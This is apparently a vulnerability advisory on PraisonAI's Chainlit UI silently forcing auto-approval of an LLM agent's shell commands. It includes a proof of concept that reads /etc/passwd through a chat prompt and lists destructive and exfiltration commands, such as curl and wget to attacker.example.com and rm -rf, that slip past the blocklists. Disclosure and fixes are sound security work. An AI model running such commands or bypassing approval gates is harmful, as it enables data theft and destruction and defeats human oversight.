The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISON_APPROVAL_MODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.
The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISON_APPROVAL_MODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.
However, both UI modules unconditionally override this after loading:
chat.py:156-159:
config = ToolConfig.from_env() # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto" # hardcoded override, ignoring admin config
code.py:155-158:
config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto" # same hardcoded override
This flows to agent_tools.py:347-348 in the acp_execute_command function:
auto_approve = runtime.config.approval_mode == "auto" # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)
The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:
result = subprocess.run(
step.target,
shell=True, # shell execution
capture_output=True,
text=True,
cwd=str(workspace),
timeout=30
)
Command sanitization is insufficient. Two blocklists exist:
_sanitize_command() at agent_tools.py:60-86 blocks: $(, `, &&, ||, >>, >, |, ;, &, \n, \r_apply_step() at action_orchestrator.py:449 blocks: ;, &, |, $, `Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.
Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.
# Step 1: Start the Chainlit UI
praisonai ui chat
# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin
# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"
# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
# Contents of /etc/passwd returned in chat
# Step 4: Demonstrate the override of admin configuration:
# Even with PRAISON_APPROVAL_MODE=manual set in the environment,
# chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
# Commands still auto-approve because of the hardcoded override
Commands that bypass sanitization blocklists:
rm -rf /home/user/documents — no blocked characterschmod 777 /etc/shadow — no blocked characterscurl http://attacker.example.com/exfil — no blocked characterswget http://attacker.example.com/backdoor -O /tmp/backdoor — no blocked characterspython3 -c "__import__('os').unlink('/important/file')" — no blocked charactersadmin/admin credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process./etc/passwd, application secrets, environment variables containing API keys).PRAISON_APPROVAL_MODE=manual to require human approval have their configuration silently overridden, creating a false sense of security.Remove the hardcoded override and respect the administrator's configured approval mode. In both chat.py and code.py:
# Before (chat.py:156-159):
config = ToolConfig.from_env()
config.workspace = os.getcwd()
config.approval_mode = "auto" # Trust mode - auto-approve all tool executions
# After:
config = ToolConfig.from_env()
config.workspace = os.getcwd()
# Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig
# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval
Additionally, strengthen _sanitize_command() to use an allowlist approach rather than a blocklist:
import shlex
ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"}
def _sanitize_command(command: str) -> str:
# Existing blocklist checks...
# Additionally, check the base command against allowlist
try:
parts = shlex.split(command)
except ValueError:
raise ValueError(f"Could not parse command: {command!r}")
base_cmd = os.path.basename(parts[0]) if parts else ""
if base_cmd not in ALLOWED_COMMANDS:
raise ValueError(
f"Command {base_cmd!r} is not in the allowed command list. "
f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}"
)
return command
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.